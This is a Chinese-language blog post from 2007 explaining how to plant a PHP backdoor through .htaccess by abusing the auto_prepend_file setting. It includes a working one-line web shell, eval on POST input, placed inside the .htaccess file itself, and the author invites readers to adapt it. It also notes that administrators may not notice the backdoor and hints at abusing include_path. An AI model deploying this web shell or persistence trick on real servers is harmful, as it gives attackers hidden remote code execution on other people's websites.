htaccess后门

    [多云 December 25, 2007 19:23 | by ]
作者: GaRY
PHP手册,常看常新:)
PHP有个特性,会根据apache的httpd.conf和.htaccess来覆盖自己php.ini的设置.
恰好,找到两个邪恶的属性:
------------------------------
*auto_prepend_file
**string*<http://cn2.php.net/manual/zh/language.types.string.php>
* *

*指定在主文件之前自动解析的文件名。该文件就像调用了
**include()*<http://cn2.php.net/manual/zh/function.include.php>
* 函数一样被包含进来,因此会使用
**include_path*<http://cn2.php.net/manual/zh/ini.core.php#ini.include-path>
*。 *
*特殊值 none 禁止了自动前缀。 *
*auto_append_file
**string*<http://cn2.php.net/manual/zh/language.types.string.php>
* *
*指定在主文件之后自动解析的文件名。该文件就像调用了
**include()*<http://cn2.php.net/manual/zh/function.include.php>
* 函数一样被包含进来,因此会使用
**include_path*<http://cn2.php.net/manual/zh/ini.core.php#ini.include-path>
*。 *
*特殊值 none 禁止了自动后缀。 *
*Note: 如果脚本通过 exit()
<http://cn2.php.net/manual/zh/function.exit.php>终止,则自动后缀不会发生。
*
*
------------------------------
*于是很简单,利用.htaccess就能包含文件,并且不用修改任何对方的php文件,同目录下所有php文件就被植入木马了.管理员不注意的话可能就被忽略­掉
.
本地测试了一下,写了个.htaccess文件到我的sphpblog目录中.
.htaccess
1#<?php eval($_POST['cmd']);?>
2
3php_value auto_prepend_file ".htaccess"

然后随意访问一下sphpblog中的任意文件.

Highslide JS


当然直接包含.haccess文件太明显了,上面一对无关和出错信息会出卖你的后门的.我这里只是PoC,要包含什么就随便各位了.
哦,还有一点,会很方便:
------------------------------
include_path <http://www.php.net/manual/zh/ini.core.php#ini.include-path>
".;/path/to/php/pear"    PHP_INI_ALL
------------------------------
什么意思我就不说了.各位自己琢磨吧,呵呵
Tags: , ,
Technology | Comments(0) | Trackbacks(0) | Reads(7319)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive